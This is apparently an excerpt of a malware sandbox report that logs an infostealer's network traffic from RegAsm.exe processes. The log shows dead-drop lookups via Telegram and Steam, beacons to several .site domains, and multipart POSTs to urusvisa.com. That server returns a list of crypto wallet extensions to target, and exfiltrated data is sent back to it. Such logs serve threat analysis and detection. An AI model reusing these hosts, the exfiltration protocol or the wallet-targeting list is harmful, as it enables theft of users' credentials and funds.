JhX1N0YXRpb258MXxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnwxfGRta2FtY2tub2drZ2NkZmhoYmRkY2doYW [TRUNCATED]
Sep 30, 2024 12:23:16.702874899 CEST	1236	IN	Data Raw: 6b 63 47 52 74 61 32 46 68 61 32 56 71 62 6d 68 68 5a 58 77 78 66 44 42 38 4d 48 78 51 62 32 78 35 62 57 56 7a 61 46 64 68 62 47 78 6c 64 48 77 78 66 47 70 76 61 6d 68 6d 5a 57 39 6c 5a 47 74 77 61 32 64 73 59 6d 5a 70 62 57 52 6d 59 57 4a 77 5a Data Ascii: kcGRta2Fha2VqbmhhZXwxfDB8MHxQb2x5bWVzaFdhbGxldHwxfGpvamhmZW9lZGtwa2dsYmZpbWRmYWJwZGZqYW9vbGFmfDF8MHwwfElDT05leHwxfGZscGljaWlsZW1naGJtZmFsaWNham9vbGhra2VuZmVsfDF8MHwwfENvaW45OHwxfGFlYWNoa25tZWZwaGVwY2Npb25ib29oY2tvbm9lZW1nfDF8MHwwfEVWRVIgV2FsbG
Sep 30, 2024 12:23:16.702884912 CEST	1236	IN	Data Raw: 76 59 57 52 6b 61 57 35 77 61 32 4a 68 61 58 77 78 66 44 46 38 4d 48 78 48 51 58 56 30 61 43 42 42 64 58 52 6f 5a 57 35 30 61 57 4e 68 64 47 39 79 66 44 42 38 61 57 78 6e 59 32 35 6f 5a 57 78 77 59 32 68 75 59 32 56 6c 61 58 42 70 63 47 6c 71 59 Data Ascii: vYWRkaW5wa2JhaXwxfDF8MHxHQXV0aCBBdXRoZW50aWNhdG9yfDB8aWxnY25oZWxwY2huY2VlaXBpcGlqYWxqa2JsYmNvYmx8MXwxfDF8VHJvbml1bXwxfHBubmRwbGNia2FrY3Bsa2pub2xnYmtkZ2ppa2plZG5tfDF8MHwwfFRydXN0IFdhbGxldHwxfGVnamlkamJwZ2xpY2hkY29uZGJjYmRuYmVlcHBnZHBofDF8MHwwfE
Sep 30, 2024 12:23:16.702896118 CEST	1236	IN	Data Raw: 70 63 32 55 67 4c 53 42 42 63 48 52 76 63 79 42 58 59 57 78 73 5a 58 52 38 4d 58 78 6f 59 6d 4a 6e 59 6d 56 77 61 47 64 76 61 6d 6c 72 59 57 70 6f 5a 6d 4a 76 62 57 68 73 62 57 31 76 62 47 78 77 61 47 4e 68 5a 48 77 78 66 44 42 38 4d 48 78 53 59 Data Ascii: pc2UgLSBBcHRvcyBXYWxsZXR8MXxoYmJnYmVwaGdvamlrYWpoZmJvbWhsbW1vbGxwaGNhZHwxfDB8MHxSYWluYm93IFdhbGxldHwxfG9wZmdlbG1jbWJpYWphbWVwbm1sb2lqYnBvbGVpYW1hfDF8MHwwfE5pZ2h0bHl8MXxmaWlrb21tZGRiZWNjYW9pY29lam9uaWFtbW5hbGtmYXwxfDB8MHxFY3RvIFdhbGxldHwxfGJnam
Sep 30, 2024 12:23:16.702905893 CEST	899	IN	Data Raw: 58 59 57 78 73 5a 58 52 38 4d 58 78 76 59 32 70 6b 63 47 31 76 59 57 78 73 62 57 64 74 61 6d 4a 69 62 32 64 6d 61 57 6c 68 62 32 5a 77 61 47 4a 71 5a 32 4e 6f 61 48 77 78 66 44 42 38 4d 48 78 57 5a 57 35 76 62 53 42 58 59 57 78 73 5a 58 52 38 4d Data Ascii: XYWxsZXR8MXxvY2pkcG1vYWxsbWdtamJib2dmaWlhb2ZwaGJqZ2NoaHwxfDB8MHxWZW5vbSBXYWxsZXR8MXxvamdnbWNobGdobmpsYXBtZmJuamhvbGZqa2lpZGJjaHwxfDB8MHxQdWxzZSBXYWxsZXQgQ2hyb21pdW18MXxjaW9qb2Nwa2NsZmZsb21iYmNmaWdjaWpqY2JrbWhhZnwxfDB8MHxNYWdpYyBFZGVuIFdhbGxldH
Sep 30, 2024 12:23:16.795233965 CEST	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Sep 30, 2024 12:23:16.799416065 CEST	511	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----GDHDHJEBGHJKFIECBGCB Host: urusvisa.com Content-Length: 332 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 44 48 44 48 4a 45 42 47 48 4a 4b 46 49 45 43 42 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 65 33 32 31 61 64 38 63 33 34 31 37 63 34 34 31 37 65 34 35 37 63 61 32 64 32 34 31 61 30 32 0d 0a 2d 2d 2d 2d 2d 2d 47 44 48 44 48 4a 45 42 47 48 4a 4b 46 49 45 43 42 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 61 36 36 39 61 38 36 66 38 34 33 33 61 31 65 38 38 39 30 31 37 31 31 63 30 66 37 37 32 63 39 37 0d 0a 2d 2d 2d 2d 2d 2d 47 44 48 44 48 4a 45 42 47 48 4a 4b 46 49 45 43 42 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 32 31 0d 0a 2d 2d 2d 2d 2d 2d 47 44 48 44 48 4a 45 42 47 48 4a 4b 46 49 45 43 42 47 43 42 2d 2d 0d 0a Data Ascii: ------GDHDHJEBGHJKFIECBGCBContent-Disposition: form-data; name="token"1e321ad8c3417c4417e457ca2d241a02------GDHDHJEBGHJKFIECBGCBContent-Disposition: form-data; name="build_id"a669a86f8433a1e88901711c0f772c97------GDHDHJEBGHJKFIECBGCBContent-Disposition: form-data; name="mode"21------GDHDHJEBGHJKFIECBGCB--
Sep 30, 2024 12:23:17.324474096 CEST	282	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 30 Sep 2024 10:23:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 63 0d 0a 54 57 56 30 59 55 31 68 63 32 74 38 4d 58 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 46 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 0d 0a 30 0d 0a 0d 0a Data Ascii: 6cTWV0YU1hc2t8MXx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDF8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb2180
Sep 30, 2024 12:23:17.380630016 CEST	180	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----JECAFHJEGCFCBFIEGCAE Host: urusvisa.com Content-Length: 7565 Connection: Keep-Alive Cache-Control: no-cache
Sep 30, 2024 12:23:17.380697012 CEST	7565	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4a 45 43 41 46 48 4a 45 47 43 46 43 42 46 49 45 47 43 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 65 33 32 31 61 Data Ascii: ------JECAFHJEGCFCBFIEGCAEContent-Disposition: form-data; name="token"1e321ad8c3417c4417e457ca2d241a02------JECAFHJEGCFCBFIEGCAEContent-Disposition: form-data; name="build_id"a669a86f8433a1e88901711c0f772c97------JECAFHJEGCFCBF
Sep 30, 2024 12:23:18.046111107 CEST	175	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 30 Sep 2024 10:23:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0
Sep 30, 2024 12:23:18.097491980 CEST	180	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----AFCBKFHJJJKKFHIDAAKF Host: urusvisa.com Content-Length: 4677 Connection: Keep-Alive Cache-Control: no-cache
Sep 30, 2024 12:23:18.097656012 CEST	4677	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 41 46 43 42 4b 46 48 4a 4a 4a 4b 4b 46 48 49 44 41 41 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 65 33 32 31 61 Data Ascii: ------AFCBKFHJJJKKFHIDAAKFContent-Disposition: form-data; name="token"1e321ad8c3417c4417e457ca2d241a02------AFCBKFHJJJKKFHIDAAKFContent-Disposition: form-data; name="build_id"a669a86f8433a1e88901711c0f772c97------AFCBKFHJJJKKFH
Sep 30, 2024 12:23:18.649460077 CEST	178	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 30 Sep 2024 10:23:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 35 0d 0a 62 6c 6f 63 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 5block0

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	52533	149.154.167.99	443	7376	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 10:22:22 UTC	87	OUT	GET /jamsemlg HTTP/1.1 Host: t.me Connection: Keep-Alive Cache-Control: no-cache
2024-09-30 10:22:22 UTC	512	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 30 Sep 2024 10:22:22 GMT Content-Type: text/html; charset=utf-8 Content-Length: 12382 Connection: close Set-Cookie: stel_ssid=0cc506041bab305345_15129518936506012804; expires=Tue, 01 Oct 2024 10:22:22 GMT; path=/; samesite=None; secure; HttpOnly Pragma: no-cache Cache-control: no-store X-Frame-Options: ALLOW-FROM https://web.telegram.org Content-Security-Policy: frame-ancestors https://web.telegram.org Strict-Transport-Security: max-age=35768000
2024-09-30 10:22:22 UTC	12382	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 54 65 6c 65 67 72 61 6d 3a 20 43 6f 6e 74 61 63 74 20 40 6a 61 6d 73 65 6d 6c 67 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 3e 74 72 79 7b 69 66 28 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 21 3d 6e 75 6c 6c 26 26 77 69 6e 64 6f 77 21 3d 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 29 7b 77 69 6e 64 6f 77 2e 70 61 72 65 Data Ascii: <!DOCTYPE html><html> <head> <meta charset="utf-8"> <title>Telegram: Contact @jamsemlg</title> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <script>try{if(window.parent!=null&&window!=window.parent){window.pare

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	52536	172.67.205.129	443	7952	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 10:22:45 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: possiwreeste.site
2024-09-30 10:22:45 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-09-30 10:22:46 UTC	778	IN	HTTP/1.1 200 OK Date: Mon, 30 Sep 2024 10:22:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=119opjshqu4gptpp8vk08819k0; expires=Fri, 24 Jan 2025 04:09:25 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=UrOrmwKbOHqlMGuQyw5WGyboek02wKG2mJBh6Hs579V1OlAuUr035ljBBwvFwvznAij%2FS2%2B01smR8geA%2BYvM%2FxhWBA9HmEDWC5KqebTloYmni4MIfDb3oGJHRaWEuKXltQo%2FYA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cb37e60eb364313-EWR
2024-09-30 10:22:46 UTC	15	IN	Data Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: aerror #D12
2024-09-30 10:22:46 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	52537	172.67.205.129	443	7952	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 10:22:46 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: possiwreeste.site
2024-09-30 10:22:46 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-09-30 10:22:47 UTC	778	IN	HTTP/1.1 200 OK Date: Mon, 30 Sep 2024 10:22:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=kf9k9se2ic8j3q85nr3re6ta67; expires=Fri, 24 Jan 2025 04:09:26 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9n8wRlmoZ5YYHhzbrCaoQ31%2BvikLFNTe2KiT9Kolb3fIFVV6%2FXWEdYVKRCtrG7Jjxlip5zm1Krtyw5vcAAup%2BE%2FkdJkHu1B9XQC%2FkxICuVHLbEAwCERm4rftodRlm64Wtls6nw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cb37e679ae54406-EWR
2024-09-30 10:22:47 UTC	15	IN	Data Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: aerror #D12
2024-09-30 10:22:47 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	52538	104.21.1.169	443	7952	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 10:22:47 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: underlinemdsj.site
2024-09-30 10:22:47 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-09-30 10:22:48 UTC	774	IN	HTTP/1.1 200 OK Date: Mon, 30 Sep 2024 10:22:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=gvidtvf94j9n2sg8kku1496ban; expires=Fri, 24 Jan 2025 04:09:27 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=o0J%2FX5nM4gwQJUDdc2xRu7GzsrrxK29QO7rwew1CSpB02n3guWq%2B%2BJ4SfwLEDiPlv9YFGIUMuMZxpk6kFsctCADA82yU%2B60xRkdHC4oHzOEr1fUfHFrCvLXOKRWxpfI8XaWAkNQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cb37e6dca6943dc-EWR
2024-09-30 10:22:48 UTC	15	IN	Data Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: aerror #D12
2024-09-30 10:22:48 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	52539	104.102.49.254	443	7952	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 10:22:49 UTC	219	OUT	GET /profiles/76561199724331900 HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: steamcommunity.com
2024-09-30 10:22:49 UTC	1870	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.akamai.steamstatic.com/ https://cdn.akamai.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.akamai.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq. [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Mon, 30 Sep 2024 10:22:49 GMT Content-Length: 25330 Connection: close Set-Cookie: sessionid=363172cb00f0e13c58750676; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7Cd7fb65801182a5f50a3169fe2a0b7ef0; Path=/; Secure; HttpOnly; SameSite=None
2024-09-30 10:22:49 UTC	14514	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0d 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e 0d 0a 09 09 3c Data Ascii: <!DOCTYPE html><html class=" responsive" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21"><
2024-09-30 10:22:49 UTC	10816	IN	Data Raw: 73 73 3d 22 70 6f 70 75 70 5f 6d 65 6e 75 5f 69 74 65 6d 20 74 69 67 68 74 22 20 68 72 65 66 3d 22 3f 6c 3d 62 75 6c 67 61 72 69 61 6e 22 20 6f 6e 63 6c 69 63 6b 3d 22 43 68 61 6e 67 65 4c 61 6e 67 75 61 67 65 28 20 27 62 75 6c 67 61 72 69 61 6e 27 20 29 3b 20 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 22 3e d0 91 d1 8a d0 bb d0 b3 d0 b0 d1 80 d1 81 d0 ba d0 b8 20 28 42 75 6c 67 61 72 69 61 6e 29 3c 2f 61 3e 0d 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 70 6f 70 75 70 5f 6d 65 6e 75 5f 69 74 65 6d 20 74 69 67 68 74 22 20 68 72 65 66 3d 22 3f 6c 3d 63 7a 65 63 68 22 20 6f 6e 63 6c 69 63 6b 3d 22 43 68 61 6e 67 65 4c 61 6e 67 75 61 67 65 28 20 27 63 7a 65 63 68 27 20 29 3b 20 72 65 74 Data Ascii: ss="popup_menu_item tight" href="?l=bulgarian" onclick="ChangeLanguage( 'bulgarian' ); return false;"> (Bulgarian)</a><a class="popup_menu_item tight" href="?l=czech" onclick="ChangeLanguage( 'czech' ); ret

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	52547	172.67.205.129	443	2828	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 10:23:04 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: possiwreeste.site
2024-09-30 10:23:04 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-09-30 10:23:05 UTC	774	IN	HTTP/1.1 200 OK Date: Mon, 30 Sep 2024 10:23:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=cq3n3b8vdefsd72a9ldp8blhbh; expires=Fri, 24 Jan 2025 04:09:44 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=nMKwonhm%2BVcoQoo4eowyoZEOc6RW4K9Q9AhN5k8TwQLSwUsigsDOVSW2Dk2xRQdcuzDCKFFodd9rvOc1tV13SpSauQBTDewFQbavgM%2FBHPdn1pv113y%2FsZVVX4tzNtBgUKWm1g%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cb37ed73ae7727a-EWR
2024-09-30 10:23:05 UTC	15	IN	Data Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: aerror #D12
2024-09-30 10:23:05 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	52546	149.154.167.99	443	7296	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 10:23:04 UTC	146	OUT	GET /jamsemlg HTTP/1.1 Host: t.me Connection: Keep-Alive Cache-Control: no-cache Cookie: stel_ssid=0cc506041bab305345_15129518936506012804
2024-09-30 10:23:04 UTC	369	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 30 Sep 2024 10:23:04 GMT Content-Type: text/html; charset=utf-8 Content-Length: 12382 Connection: close Pragma: no-cache Cache-control: no-store X-Frame-Options: ALLOW-FROM https://web.telegram.org Content-Security-Policy: frame-ancestors https://web.telegram.org Strict-Transport-Security: max-age=35768000
2024-09-30 10:23:04 UTC	12382	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 54 65 6c 65 67 72 61 6d 3a 20 43 6f 6e 74 61 63 74 20 40 6a 61 6d 73 65 6d 6c 67 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 3e 74 72 79 7b 69 66 28 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 21 3d 6e 75 6c 6c 26 26 77 69 6e 64 6f 77 21 3d 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 29 7b 77 69 6e 64 6f 77 2e 70 61 72 65 Data Ascii: <!DOCTYPE html><html> <head> <meta charset="utf-8"> <title>Telegram: Contact @jamsemlg</title> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <script>try{if(window.parent!=null&&window!=window.parent){window.pare

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	52549	172.67.205.129	443	2828	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 10:23:06 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: possiwreeste.site
2024-09-30 10:23:06 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-09-30 10:23:06 UTC	772	IN	HTTP/1.1 200 OK Date: Mon, 30 Sep 2024 10:23:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=46d67uv5fjg0c59tv8880q26a2; expires=Fri, 24 Jan 2025 04:09:45 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=HMh4eHijn%2BGVlHSKDHraXMlgwGQm8G1l42Fl1Me7821M54L58nkCam%2BjWBahuyDyu0NwMnPaxQNLLJDSk37ZaDPi8ZEjxgLJcUoeebIBdVCTWuHkDLBuhErG8tdjUBKsG9DLcw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cb37ee10d317cfa-EWR
2024-09-30 10:23:06 UTC	15	IN	Data Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: aerror #D12
2024-09-30 10:23:06 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	52550	104.21.1.169	443	2828	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 10:23:07 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: underlinemdsj.site
